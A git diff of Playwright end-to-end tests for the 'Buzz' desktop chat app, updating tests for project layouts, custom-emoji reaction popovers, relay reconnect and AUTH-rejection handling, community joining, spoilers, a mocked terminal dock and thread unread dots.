+        ? '[data-testid^="repository-row-"]'
+        : section === "Pull Requests"
+          ? '[data-testid^="projects-pr-row-"]'
+          : '[data-testid^="projects-issue-row-"]',
     );
-    await expect(listContainer).toHaveCSS("border-style", "solid");
+    await expect(listItems.first()).toBeVisible();
+    const listItemCount = await listItems.count();
+    for (let index = 0; index < listItemCount; index += 1) {
+      await expect(listItems.nth(index)).toHaveCSS(
+        "background-color",
+        "rgba(0, 0, 0, 0)",
+      );
+      await expect(listItems.nth(index)).toHaveCSS("border-style", "solid");
+    }
 
     await page.getByRole("button", { name: "Grid layout" }).click();
-    const gridCards = page.locator("[data-projects-grid-card]");
+    const gridCards = page.locator(
+      section === "Repositories"
+        ? '[data-testid^="repository-card-"]'
+        : "[data-projects-grid-card]",
+    );
     await expect(gridCards.first()).toBeVisible();
     const gridCardCount = await gridCards.count();
     for (let index = 0; index < gridCardCount; index += 1) {
@@ -1026,10 +1130,10 @@ test("project without a checkout offers fetch feedback and dropdown cloning", as
   await openBuzzProject(page);
 
   await expect(
-    page.getByRole("button", { name: "Remote", exact: true }),
+    page.getByRole("button", { name: "Buzz", exact: true }),
   ).toBeVisible();
   await expect(
-    page.getByRole("button", { name: "Remote", exact: true }),
+    page.getByRole("button", { name: "Buzz", exact: true }),
   ).toHaveClass(/\bborder-input\/40\b/);
   await expect(page.getByRole("button", { name: /main/ })).toHaveClass(
     /\bborder-input\/40\b/,
@@ -1040,7 +1144,7 @@ test("project without a checkout offers fetch feedback and dropdown cloning", as
   await page.getByRole("button", { name: "Fetch", exact: true }).click();
   await expect(page.getByText("Remote state refreshed.")).toBeVisible();
 
-  await page.getByRole("button", { name: "Remote", exact: true }).click();
+  await page.getByRole("button", { name: "Buzz", exact: true }).click();
   const cloneItem = page.getByRole("menuitem", {
     name: "Local missing Clone",
   });
@@ -1052,9 +1156,6 @@ test("project without a checkout offers fetch feedback and dropdown cloning", as
   );
   await cloneItem.click();
   await expect(page.getByText("Cloned repository.")).toBeVisible();
-  await expect(
-    page.getByRole("button", { name: "Local", exact: true }),
-  ).toBeVisible();
   const commands = await page.evaluate(
     () => window.__BUZZ_E2E_COMMANDS__ ?? [],
   );
@@ -1125,7 +1226,7 @@ test("repository tags can be browsed as immutable remote snapshots", async ({
 
   await expect(page.getByRole("button", { name: /v1\.0\.0/ })).toBeVisible();
   await expect(
-    page.getByRole("button", { name: "Remote", exact: true }),
+    page.getByRole("button", { name: "Buzz", exact: true }),
   ).toBeVisible();
   await expect
     .poll(() =>
@@ -1201,7 +1302,6 @@ test("pushed local branch can open a pull request", async ({ page }) => {
       can_pull: false,
       pull_block_reason: "Local branch is up to date.",
     };
-    window.__BUZZ_E2E_REJECT_PROJECT_EVENT_KINDS__ = [1619];
   });
   await installMockBridge(page);
   await openBuzzProject(page);
@@ -1253,61 +1353,6 @@ test("pushed local branch can open a pull request", async ({ page }) => {
     "subject",
     "Complete the Projects git workflow",
   ]);
-
-  await page.getByRole("tab", { name: "Overview" }).click();
-  await page.evaluate(async () => {
-    const status = window.__BUZZ_E2E_PROJECT_REPO_SYNC_STATUS__;
-    if (!status) throw new Error("Missing mocked repository status.");
-    status.local_head = "abcdef0123456789abcdef0123456789abcdef01";
-    status.local_short_head = status.local_head.slice(0, 7);
-    status.ahead_count = 1;
-    status.can_push = true;
-    status.push_block_reason = null;
-    await window.__BUZZ_E2E_QUERY_CLIENT__?.invalidateQueries({
-      queryKey: ["project"],
-    });
-  });
-  await page.getByRole("button", { name: "Push", exact: true }).click();
-  await expect(page.getByText("mock project event rejection")).toBeVisible();
-  await expect
-    .poll(() =>
-      page.evaluate(
-        () =>
-          window.__BUZZ_E2E_SIGNED_EVENTS__?.filter(
-            (event) => event.kind === 1619,
-          ).length ?? 0,
-      ),
-    )
-    .toBe(1);
-  await expect(
-    page.getByRole("button", { name: "Update PR", exact: true }),
-  ).toBeVisible();
-  await page.getByRole("button", { name: "Update PR", exact: true }).click();
-  await expect(page.getByText(/Pull request updated/)).toBeVisible();
-  await expect
-    .poll(() =>
-      page.evaluate(
-        () =>
-          window.__BUZZ_E2E_SIGNED_EVENTS__?.filter(
-            (event) => event.kind === 1619,
-          ).length ?? 0,
-      ),
-    )
-    .toBe(2);
-  await expect(
-    page.getByRole("button", { name: "Update PR", exact: true }),
-  ).toHaveCount(0);
-
-  const updateEvent = await page.evaluate(() =>
-    window.__BUZZ_E2E_SIGNED_EVENTS__
-      ?.filter((event) => event.kind === 1619)
-      .at(-1),
-  );
-  expect(updateEvent?.tags).toContainEqual([
-    "c",
-    "abcdef0123456789abcdef0123456789abcdef01",
-  ]);
-  expect(updateEvent?.tags.some((tag) => tag[0] === "E")).toBe(true);
 });
 
 test("project issue can be created from the issues header", async ({
diff --git a/desktop/tests/e2e/reaction-names.spec.ts b/desktop/tests/e2e/reaction-names.spec.ts
index 512b913dff..028bb1645d 100644
--- a/desktop/tests/e2e/reaction-names.spec.ts
+++ b/desktop/tests/e2e/reaction-names.spec.ts
@@ -1,11 +1,23 @@
 import { expect, test } from "@playwright/test";
+import * as fs from "node:fs";
+import * as path from "node:path";
 
+import { waitForAnimations } from "../helpers/animations";
 import { installMockBridge } from "../helpers/bridge";
 
 const REACTION_TARGET_CONTENT = "React to me with a custom emoji";
 const REACTION_TARGET_EVENT_ID = "d".repeat(64);
 const BOB_PUBKEY =
   "bb22a5299220cad76ffd46190ccbeede8ab5dc260faa28b6e5a2cb31b9aff260";
+const MAX_REACTION_NAME =
+  "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijkl";
+const MAX_REACTION_AVATAR_URL =
+  'data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"%3E%3Crect width="16" height="16" rx="4" fill="%23e5484d"/%3E%3C/svg%3E';
+const SHORT_REACTION_AVATAR_URL =
+  'data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"%3E%3Crect width="16" height="16" rx="4" fill="%2300a36c"/%3E%3C/svg%3E';
+const SCREENSHOT_DIR =
+  process.env.REACTION_POPOVER_SCREENSHOT_DIR ??
+  "test-results/reaction-popover-screenshots";
 
 function reactionTargetRow(page: import("@playwright/test").Page) {
   return page
@@ -14,8 +26,45 @@ function reactionTargetRow(page: import("@playwright/test").Page) {
     .last();
 }
 
+async function waitForImage(
+  image: import("@playwright/test").Locator,
+): Promise<void> {
+  await expect(image).toBeVisible();
+  await expect
+    .poll(() =>
+      image.evaluate(
+        (element) =>
+          element instanceof HTMLImageElement &&
+          element.complete &&
+          element.naturalWidth > 0,
+      ),
+    )
+    .toBe(true);
+}
+
+async function capturePopover(
+  page: import("@playwright/test").Page,
+  popover: import("@playwright/test").Locator,
+  filename: string,
+): Promise<void> {
+  fs.mkdirSync(SCREENSHOT_DIR, { recursive: true });
+  await waitForAnimations(page);
+  await popover.screenshot({
+    animations: "disabled",
+    path: path.join(SCREENSHOT_DIR, filename),
+  });
+}
+
 test.beforeEach(async ({ page }) => {
-  await installMockBridge(page);
+  await installMockBridge(page, {
+    searchProfiles: [
+      {
+        pubkey: BOB_PUBKEY,
+        displayName: "bob",
+        avatarUrl: SHORT_REACTION_AVATAR_URL,
+      },
+    ],
+  });
 });
 
 test("reaction popover resolves a reactor with no authored message in the window", async ({
@@ -33,21 +82,89 @@ test("reaction popover resolves a reactor with no authored message in the window
   );
 
   await page.evaluate(
-    ({ pubkey, targetId }) => {
+    ({ pubkey, targetId, avatarUrl }) => {
       window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
         channelName: "general",
-        content: "🎉",
-        extraTags: [["e", targetId]],
+        content: ":react:",
+        extraTags: [
+          ["e", targetId],
+          ["emoji", "react", avatarUrl],
+        ],
         kind: 7,
         pubkey,
       });
     },
-    { pubkey: BOB_PUBKEY, targetId: REACTION_TARGET_EVENT_ID },
+    {
+      avatarUrl: SHORT_REACTION_AVATAR_URL,
+      pubkey: BOB_PUBKEY,
+      targetId: REACTION_TARGET_EVENT_ID,
+    },
   );
 
   const row = reactionTargetRow(page);
-  const pill = row.getByRole("button", { name: "Toggle 🎉 reaction" });
+  const pill = row.getByRole("button", { name: "Toggle :react: reaction" });
   await expect(pill).toBeVisible();
   await pill.hover();
   await expect(page.getByText("bob reacted with")).toBeVisible();
+  const popover = page
+    .locator("[data-radix-popper-content-wrapper]")
+    .filter({ hasText: "bob reacted with" });
+  const avatar = popover.locator("img");
+  await expect(avatar).toHaveAttribute("src", SHORT_REACTION_AVATAR_URL);
+  await waitForImage(avatar);
+  await capturePopover(page, popover, "short-name-after.png");
+});
+
+test("maximum-length reaction name wraps inside a fixed-width popover", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+  await page.waitForFunction(
+    () =>
+      window.__BUZZ_E2E_HAS_MOCK_LIVE_SUBSCRIPTION__?.({
+        channelName: "general",
+        kind: 7,
+      }) === true,
+  );
+
+  const reaction = `:${MAX_REACTION_NAME}:`;
+  await page.evaluate(
+    ({ content, targetId, avatarUrl }) => {
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "general",
+        content,
+        extraTags: [
+          ["e", targetId],
+          ["emoji", content.slice(1, -1), avatarUrl],
+        ],
+        kind: 7,
+      });
+    },
+    {
+      avatarUrl: MAX_REACTION_AVATAR_URL,
+      content: reaction,
+      targetId: REACTION_TARGET_EVENT_ID,
+    },
+  );
+
+  const pill = reactionTargetRow(page).getByRole("button", {
+    name: `Toggle ${reaction} reaction`,
+  });
+  await expect(pill).toBeVisible();
+  await pill.focus();
+
+  const popover = page
+    .locator("[data-radix-popper-content-wrapper]")
+    .filter({ hasText: reaction });
+  await expect(popover).toBeVisible();
+  await expect(popover).toHaveCSS("width", "288px");
+  const reactionName = popover.getByTestId("reaction-popover-name");
+  await expect(reactionName).toHaveCSS("word-break", "break-all");
+  await expect(reactionName).toHaveText(reaction);
+  const avatar = popover.locator("img");
+  await expect(avatar).toHaveAttribute("src", MAX_REACTION_AVATAR_URL);
+  await waitForImage(avatar);
+  await capturePopover(page, popover, "max-length-after.png");
 });
diff --git a/desktop/tests/e2e/relay-reconnect.spec.ts b/desktop/tests/e2e/relay-reconnect.spec.ts
index 6606d5f04d..ec3e87171d 100644
--- a/desktop/tests/e2e/relay-reconnect.spec.ts
+++ b/desktop/tests/e2e/relay-reconnect.spec.ts
@@ -111,9 +111,32 @@ async function emitMockMessages(
   }, messages);
 }
 
+async function queueAuthResponses(
+  page: import("@playwright/test").Page,
+  responses: Array<{ success: boolean; message: string }>,
+) {
+  await page.evaluate((queued) => {
+    const queue = window.__BUZZ_E2E_QUEUE_AUTH_RESPONSES__;
+    if (!queue) throw new Error("E2E AUTH response seam is not installed.");
+    queue(queued);
+  }, responses);
+}
+
+async function closeLiveSubscriptions(
+  page: import("@playwright/test").Page,
+  reason: string,
+) {
+  const closed = await page.evaluate((message) => {
+    const close = window.__BUZZ_E2E_CLOSE_LIVE_SUBSCRIPTIONS__;
+    if (!close) throw new Error("E2E live CLOSED seam is not installed.");
+    return close(message);
+  }, reason);
+  expect(closed).toBeGreaterThan(0);
+}
+
 async function driveConnectionDegraded(
   page: import("@playwright/test").Page,
-  state: "reconnecting" | "stalled" | "disconnected",
+  state: "connected" | "reconnecting" | "stalled" | "disconnected",
 ) {
   await page.evaluate((s) => {
     const setter = (
@@ -322,6 +345,198 @@ test("profile popover does not show relay reconnect controls", async ({
   await expect(page.getByTestId("profile-popover-reconnect")).toHaveCount(0);
 });
 
+test("resume event short-circuits accumulated reconnect backoff", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await expect(page.getByTestId("channel-general")).toBeVisible();
+
+  await setMockWebsocketUnavailable(page, true);
+  await disconnectMockWebsockets(page);
+  await expect
+    .poll(() => getMockWebsocketConnectAttempts(page), { timeout: 10_000 })
+    .toHaveLength(3);
+
+  await setMockWebsocketUnavailable(page, false);
+  const resumedAt = Date.now();
+  await page.evaluate(() => window.dispatchEvent(new Event("online")));
+  await expect
+    .poll(
+      () =>
+        page.evaluate(() => window.__BUZZ_E2E_GET_RELAY_CONNECTION_STATE__?.()),
+      {
+        timeout: 2_000,
+      },
+    )
+    .toBe("connected");
+  expect(Date.now() - resumedAt).toBeLessThan(2_000);
+});
+
+test("resume events during repeated AUTH rejection cannot defeat the terminal cap", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  // Three consecutive rejections must latch terminal even when resume
+  // events interleave with the handshakes: resume attempts bypass backoff
+  // but must preserve the AUTH rejection streak (review finding on
+  // PR #4737 — preconnect()'s streak reset previously made the cap
+  // unreachable under focus/online bursts).
+  //
+  // Queue MORE rejections than the cap: superseded connection attempts
+  // (resume racing the backoff timer) consume queue entries on handshakes
+  // whose frames the client drops as stale, exactly like a real relay that
+  // rejects every attempt. A queue of exactly 3 can be silently eaten and
+  // a default-success AUTH would then reset the streak.
+  await queueAuthResponses(
+    page,
+    Array.from({ length: 12 }, () => ({
+      success: false,
+      message: "auth-required: verification failed",
+    })),
+  );
+  await disconnectMockWebsockets(page);
+
+  // Fire resume events while the rejection sequence plays out. Repeated
+  // dispatch (post-rate-limit spacing is irrelevant here: each poll tick
+  // dispatches both events) guarantees at least one lands between
+  // handshakes.
+  await expect
+    .poll(
+      async () => {
+        await page.evaluate(() => {
+          window.dispatchEvent(new Event("online"));
+          window.dispatchEvent(new Event("focus"));
+        });
+        return page.evaluate(() =>
+          window.__BUZZ_E2E_GET_RELAY_CONNECTION_STATE__?.(),
+        );
+      },
+      { intervals: [500], timeout: 20_000 },
+    )
+    .toBe("disconnected");
+
+  // Terminal is user-owned: further resume events must not revive the
+  // session.
+  await page.evaluate(() => {
+    window.dispatchEvent(new Event("online"));
+    window.dispatchEvent(new Event("focus"));
+  });
+  await page.waitForTimeout(1_000);
+  expect(
+    await page.evaluate(() =>
+      window.__BUZZ_E2E_GET_RELAY_CONNECTION_STATE__?.(),
+    ),
+  ).toBe("disconnected");
+});
+
+test("sub-2s degraded flap invalidates relay queries on recovery", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await expect(page.getByTestId("channel-general")).toBeVisible();
+
+  await page.evaluate(() => {
+    const queryClient = window.__BUZZ_E2E_QUERY_CLIENT__ as
+      | {
+          invalidateQueries: (...args: unknown[]) => unknown;
+          __rawHealInvalidations?: number;
+        }
+      | undefined;
+    if (!queryClient)
+      throw new Error("E2E query client seam is not installed.");
+    const original = queryClient.invalidateQueries.bind(queryClient);
+    queryClient.__rawHealInvalidations = 0;
+    queryClient.invalidateQueries = (...args: unknown[]) => {
+      queryClient.__rawHealInvalidations =
+        (queryClient.__rawHealInvalidations ?? 0) + 1;
+      return original(...args);
+    };
+  });
+
+  await driveConnectionDegraded(page, "reconnecting");
+  await page.waitForTimeout(100);
+  await driveConnectionDegraded(page, "connected");
+
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (
+            window.__BUZZ_E2E_QUERY_CLIENT__ as unknown as {
+              __rawHealInvalidations?: number;
+            }
+          )?.__rawHealInvalidations ?? 0,
+      ),
+    )
+    .toBeGreaterThan(0);
+});
+
+test("transient AUTH rejection reconnects and restores live traffic", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await queueAuthResponses(page, [
+    { success: false, message: "auth-required: verification failed" },
+    { success: true, message: "" },
+  ]);
+  await disconnectMockWebsockets(page);
+
+  await expect
+    .poll(
+      () =>
+        page.evaluate(() => window.__BUZZ_E2E_GET_RELAY_CONNECTION_STATE__?.()),
+      {
+        timeout: 10_000,
+      },
+    )
+    .toBe("connected");
+
+  const recovered = `live after transient AUTH rejection ${Date.now()}`;
+  await emitMockMessages(page, [
+    { content: recovered, createdAt: Math.floor(Date.now() / 1_000) },
+  ]);
+  await expect(page.getByTestId("message-timeline")).toContainText(recovered);
+
+  const sent = `send after transient AUTH rejection ${Date.now()}`;
+  await page.getByTestId("message-input").fill(sent);
+  await page.getByTestId("send-message").click();
+  await expect(page.getByTestId("message-timeline")).toContainText(sent);
+});
+
+test("auth-required CLOSED restores the active live subscription", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+
+  await closeLiveSubscriptions(page, "auth-required: not authenticated");
+
+  const recovered = `live after auth-required CLOSED ${Date.now()}`;
+  await expect
+    .poll(
+      async () => {
+        await emitMockMessages(page, [
+          { content: recovered, createdAt: Math.floor(Date.now() / 1_000) },
+        ]);
+        return page
+          .getByTestId("message-timeline")
+          .evaluate(
+            (element, content) => (element.textContent ?? "").includes(content),
+            recovered,
+          );
+      },
+      { intervals: [1_100], timeout: 5_000 },
+    )
+    .toBe(true);
+});
+
 test("reconnect backfills more missed channel messages than the live subscription limit", async ({
   page,
 }) => {
diff --git a/desktop/tests/e2e/sidebar.spec.ts b/desktop/tests/e2e/sidebar.spec.ts
index f56c9575b7..9dce5e7598 100644
--- a/desktop/tests/e2e/sidebar.spec.ts
+++ b/desktop/tests/e2e/sidebar.spec.ts
@@ -167,23 +167,18 @@ test("automatically shows community join requirements near the community URL", a
     .toContain('"relayUrl":"wss://policy.example.com"');
 });
 
-test("supports API tokens without cluttering the default join form", async ({
-  page,
-}) => {
+test("joins a community URL without an API token field", async ({ page }) => {
   await installMockBridge(page, { applyCommunityDelayMs: 1_000 });
   await page.goto("/");
 
   await openAddCommunityDialog(page);
   await page.getByTestId("add-community-join").click();
 
-  await expect(page.getByLabel("API token")).toHaveCount(0);
-  await expect(page.getByTestId("community-api-token-reveal")).toHaveCount(0);
-
   await page
     .getByLabel("Community URL or invite link")
     .fill("token.example.com");
-  await page.getByTestId("community-api-token-reveal").click();
-  await page.getByLabel("API token").fill("buzz_secret");
+  await expect(page.getByLabel("API token")).toHaveCount(0);
+  await expect(page.getByTestId("community-api-token-reveal")).toHaveCount(0);
   await page.getByTestId("invite-redeem-submit").click();
 
   await expect
@@ -191,20 +186,10 @@ test("supports API tokens without cluttering the default join form", async ({
       page.evaluate((key) => {
         const raw = window.localStorage.getItem(key);
         if (!raw) return null;
-        const transaction = JSON.parse(raw) as {
-          relayUrl?: string;
-          token?: string;
-        };
-        return {
-          relayUrl: transaction.relayUrl,
-          token: transaction.token,
-        };
+        return JSON.parse(raw) as { relayUrl?: string };
       }, COMMUNITY_ONBOARDING_STORAGE_KEY),
     )
-    .toEqual({
-      relayUrl: "wss://token.example.com",
-      token: "buzz_secret",
-    });
+    .toMatchObject({ relayUrl: "wss://token.example.com" });
 });
 
 test("hides Invites settings on open relays", async ({ page }) => {
diff --git a/desktop/tests/e2e/spoiler.spec.ts b/desktop/tests/e2e/spoiler.spec.ts
index 738b19a74c..433a7044ae 100644
--- a/desktop/tests/e2e/spoiler.spec.ts
+++ b/desktop/tests/e2e/spoiler.spec.ts
@@ -96,13 +96,14 @@ test("image attachments can be marked and sent as hidden spoilers", async ({
   await page.getByTestId("channel-general").click();
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
 
   const composer = page.getByTestId("message-composer");
   await expect(composer.getByAltText("Attachment cccc")).toBeVisible();
 
   // Media spoilers are toggled per-attachment from the lightbox.
-  await composer.getByAltText("Attachment cccc").click();
+  await composer.getByTestId("composer-media-attachment").hover();
+  await page.getByTestId("composer-attachment-annotate").click();
   await page.getByTestId("composer-attachment-spoiler").click();
   await page.keyboard.press("Escape");
   await expect(composer.locator("[data-composer-media-spoiler]")).toBeVisible();
@@ -137,7 +138,7 @@ test("text spoiler stays usable while attachment upload is pending", async ({
 
   // Kick off the (delayed) upload first — the attach button lives in the
   // passive toolbar, which is replaced while formatting is expanded.
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
 
   await page.getByRole("button", { name: "Toggle formatting" }).click();
   const spoilerButton = page.getByRole("button", {
diff --git a/desktop/tests/e2e/terminal-wheel.spec.ts b/desktop/tests/e2e/terminal-wheel.spec.ts
new file mode 100644
index 0000000000..c6c6fc5c76
--- /dev/null
+++ b/desktop/tests/e2e/terminal-wheel.spec.ts
@@ -0,0 +1,233 @@
+import { expect, test, type Page } from "@playwright/test";
+import { installMockBridge } from "../helpers/bridge";
+
+const TERM = 'section[aria-label="Buzz Term"]';
+const NAMED = 0x0100_0000;
+const FG = NAMED | 256;
+const BG = NAMED | 257;
+
+/**
+ * The shipped mock bridge throws on every `terminal_*` command, so Buzz Term is
+ * unreachable through `installMockBridge` alone. This pre-creates
+ * `__TAURI_INTERNALS__` and traps the `invoke` assignment `mockIPC` makes:
+ * terminal commands are answered here, everything else falls through to the
+ * real mock bridge.
+ */
+async function installTerminalBackend(page: Page) {
+  await page.addInitScript(() => {
+    const w = window as typeof window & {
+      isTauri?: boolean;
+      __TAURI_INTERNALS__?: Record<string, unknown>;
+      __SAMI_TERM__?: unknown;
+    };
+    w.isTauri = true;
+    const state = {
+      deliver: null as ((message: unknown) => void) | null,
+      scrolls: [] as number[],
+      inputs: [] as string[],
+      subscriptionId: "sami-sub-1",
+      columns: 80,
+      screenLines: 24,
+      sequence: 0,
+    };
+    w.__SAMI_TERM__ = state;
+
+    const internals: Record<string, unknown> = {};
+    let inner: ((cmd: string, args: unknown, opts: unknown) => unknown) | null =
+      null;
+    Object.defineProperty(internals, "invoke", {
+      configurable: true,
+      get:
+        () => (cmd: string, args: Record<string, unknown>, opts: unknown) => {
+          switch (cmd) {
+            case "terminal_attach": {
+              const channel = args.onFrame as {
+                onmessage: (m: unknown) => void;
+              };
+              state.deliver = (message) => channel.onmessage(message);
+              return Promise.resolve({
+                sessionId: `sami-session-${state.sequence}`,
+                subscriptionId: state.subscriptionId,
+                viewport: {
+                  generation: 1,
+                  columns: state.columns,
+                  screenLines: state.screenLines,
+                },
+              });
+            }
+            case "terminal_resize":
+              state.columns = args.columns as number;
+              state.screenLines = args.rows as number;
+              return Promise.resolve({
+                generation: 1,
+                columns: state.columns,
+                screenLines: state.screenLines,
+              });
+            case "terminal_input":
+              state.inputs.push(args.data as string);
+              return Promise.resolve(null);
+            case "terminal_scroll":
+              state.scrolls.push(args.lines as number);
+              return Promise.resolve(null);
+            case "terminal_viewport_ready":
+            case "terminal_ack":
+            case "terminal_focus":
+            case "terminal_detach":
+            case "terminal_close":
+              return Promise.resolve(null);
+            default:
+              if (!inner) throw new Error(`no mock bridge for ${cmd}`);
+              return inner(cmd, args, opts);
+          }
+        },
+      set: (fn: (cmd: string, args: unknown, opts: unknown) => unknown) => {
+        inner = fn;
+      },
+    });
+    w.__TAURI_INTERNALS__ = internals;
+  });
+}
+
+async function pushFrame(
+  page: Page,
+  rows: { line: number; text: string }[],
+  cursor: { line: number; column: number },
+) {
+  await page.evaluate(
+    ({ rows, cursor, fg, bg }) => {
+      const state = (
+        window as typeof window & {
+          __SAMI_TERM__: {
+            deliver: ((m: unknown) => void) | null;
+            subscriptionId: string;
+            columns: number;
+            screenLines: number;
+            sequence: number;
+          };
+        }
+      ).__SAMI_TERM__;
+      state.sequence += 1;
+      state.deliver?.({
+        type: "frame",
+        payload: {
+          subscriptionId: state.subscriptionId,
+          sequence: state.sequence,
+          bracketedPaste: false,
+          focusReporting: false,
+          full: true,
+          viewport: {
+            generation: 1,
+            columns: state.columns,
+            screenLines: state.screenLines,
+          },
+          cursor: { ...cursor, visible: true },
+          rows: rows.map(({ line, text }) => ({
+            line,
+            spans: [
+              {
+                style: { fg, bg, flags: 0 },
+                clusters: [...text].map((ch, index) => ({
+                  column: index,
+                  text: ch,
+                  width: 1,
+                })),
+              },
+            ],
+          })),
+        },
+      });
+    },
+    { rows, cursor, fg: FG, bg: BG },
+  );
+}
+
+async function reveal(page: Page) {
+  await page.setViewportSize({ width: 1280, height: 800 });
+  await installTerminalBackend(page);
+  await installMockBridge(page);
+  await page.goto("/");
+  await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+  // Buzz Term needs a channel: TerminalBootstrap's context is null on Home, so
+  // no session spawns and the chord is inert.
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+  await page.keyboard.press("Meta+j");
+  await expect(page.locator(TERM)).toHaveAttribute(
+    "data-terminal-owner",
+    "terminal",
+  );
+  // The dock opens in the normal app surface now; unlike the removed
+  // full-screen takeover, it must not fade that surface away. Wait for the
+  // dock's own height transition before interacting with its viewport.
+  await expect(page.locator(TERM)).toHaveAttribute(
+    "data-terminal-mode",
+    "docked",
+  );
+  await expect(page.locator(TERM)).toBeVisible();
+  await expect
+    .poll(async () => page.locator(TERM).evaluate((el) => el.clientHeight))
+    .toBeGreaterThanOrEqual(180);
+}
+
+test("scrollback: wheel over Buzz Term reaches terminal_scroll", async ({
+  page,
+}) => {
+  await reveal(page);
+  await pushFrame(page, [{ line: 0, text: "buzz@term:~$ " }], {
+    line: 0,
+    column: 13,
+  });
+  await page.mouse.move(640, 500);
+  await page.mouse.wheel(0, -17 * 5);
+  await page.mouse.wheel(0, 17 * 2);
+  const scrolls = await page.evaluate(
+    () =>
+      (window as typeof window & { __SAMI_TERM__: { scrolls: number[] } })
+        .__SAMI_TERM__.scrolls,
+  );
+  console.log("SCROLLS", JSON.stringify(scrolls));
+  expect(scrolls).toEqual([-5, 2]);
+});
+
+test("terminal viewport click retains keyboard input ownership", async ({
+  page,
+}) => {
+  await reveal(page);
+  const input = page.getByLabel("Terminal input");
+  await expect(input).toBeFocused();
+
+  await page
+    .locator(".buzz-terminal-viewport")
+    .click({ position: { x: 40, y: 40 } });
+  await expect(input).toBeFocused();
+
+  await page.keyboard.type("FOCUS_KEYSTROKE");
+  await expect
+    .poll(async () =>
+      page.evaluate(() =>
+        (
+          window as typeof window & { __SAMI_TERM__: { inputs: string[] } }
+        ).__SAMI_TERM__.inputs.join(""),
+      ),
+    )
+    .toContain("FOCUS_KEYSTROKE");
+});
+
+test("concealed terminal viewport does not steal Buzz focus", async ({
+  page,
+}) => {
+  await reveal(page);
+  await page.keyboard.press("Meta+j");
+  await expect(page.locator(TERM)).toHaveCount(0);
+
+  const input = page.getByLabel("Terminal input");
+  await expect(input).toHaveCount(0);
+  await page.getByTestId("chat-title").click();
+  await page.keyboard.type("BUZZ_KEYSTROKE");
+  const terminalInputs = await page.evaluate(
+    () =>
+      (window as typeof window & { __SAMI_TERM__: { inputs: string[] } })
+        .__SAMI_TERM__.inputs,
+  );
+  expect(terminalInputs.join("")).not.toContain("BUZZ_KEYSTROKE");
+});
diff --git a/desktop/tests/e2e/thread-unread.spec.ts b/desktop/tests/e2e/thread-unread.spec.ts
index 586ca3dd12..f4f45d3319 100644
--- a/desktop/tests/e2e/thread-unread.spec.ts
+++ b/desktop/tests/e2e/thread-unread.spec.ts
@@ -711,7 +711,7 @@ test.describe("thread unread indicator", () => {
     await expect(badge).toContainText("3");
   });
 
-  // Thread-only replies now also light the channel sidebar badge. Viewing the
+  // Thread-only replies now also light the channel sidebar dot. Viewing the
   // channel should leave unopened thread replies unread until the thread is read.
   test("11-thread-reply-lights-sidebar-badge-after-channel-view", async ({
     page,
@@ -748,15 +748,15 @@ test.describe("thread unread indicator", () => {
     await expect(page.getByTestId("chat-title")).toHaveText("general");
 
     // The crux: leave general. The unopened thread reply should still keep a
-    // numeric channel sidebar badge until the thread itself is read.
+    // channel sidebar dot until the thread itself is read.
     await page.getByTestId("channel-random").click();
     await expect(page.getByTestId("chat-title")).toHaveText("random");
-    await expect(page.getByTestId("channel-unread-general")).toBeVisible();
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
   });
 
   // Regression guard for the all-replies window: when the loaded window holds
   // ONLY thread replies (the top-level root has scrolled past the history
-  // limit), thread-only activity should still light the channel sidebar badge.
+  // limit), thread-only activity should still light the channel sidebar dot.
   //
   // The `all-replies` fixture carries a far-future `lastMessageAt` (standing in
   // for the backend's reply-inclusive MAX) with no top-level message in its
@@ -768,8 +768,7 @@ test.describe("thread unread indicator", () => {
     // Emit ONE reply whose parent root is NOT in the window (orphan parent id),
     // so the loaded window is all-replies: no top-level message exists for
     // `latestActiveMessage` to find. The reply mentions the current user so it
-    // clears the notify gate and creates Inbox activity without lighting the
-    // channel sidebar dot.
+    // clears the notify gate and creates Inbox thread activity.
     await page.getByTestId("channel-general").click();
     await expect(page.getByTestId("chat-title")).toHaveText("general");
     await waitForMockLiveSubscription(page, "all-replies");
@@ -779,17 +778,21 @@ test.describe("thread unread indicator", () => {
       mentionPubkeys: [SELF_PUBKEY],
       createdAt: unreadTimestamp(),
     });
-    await expect(page.getByTestId("channel-unread-all-replies")).toHaveCount(0);
+    await expect(
+      page.getByTestId("channel-unread-dot-all-replies"),
+    ).toBeVisible();
 
     // View all-replies while the reply is unread.
     await page.getByTestId("channel-all-replies").click();
     await expect(page.getByTestId("chat-title")).toHaveText("all-replies");
 
     // The crux: leave the channel. Its unopened thread reply should still keep
-    // a numeric channel sidebar badge until the thread itself is read.
+    // a channel sidebar dot until the thread itself is read.
     await page.getByTestId("channel-general").click();
     await expect(page.getByTestId("chat-title")).toHaveText("general");
-    await expect(page.getByTestId("channel-unread-all-replies")).toBeVisible();
+    await expect(
+      page.getByTestId("channel-unread-dot-all-replies"),
+    ).toBeVisible();
   });
 
   // Regression guard for BUG-2 (clear-on-read): opening an unread thread marks
diff --git a/desktop/tests/e2e/threadpane-ultrawide.spec.ts b/desktop/tests/e2e/threadpane-ultrawide.spec.ts
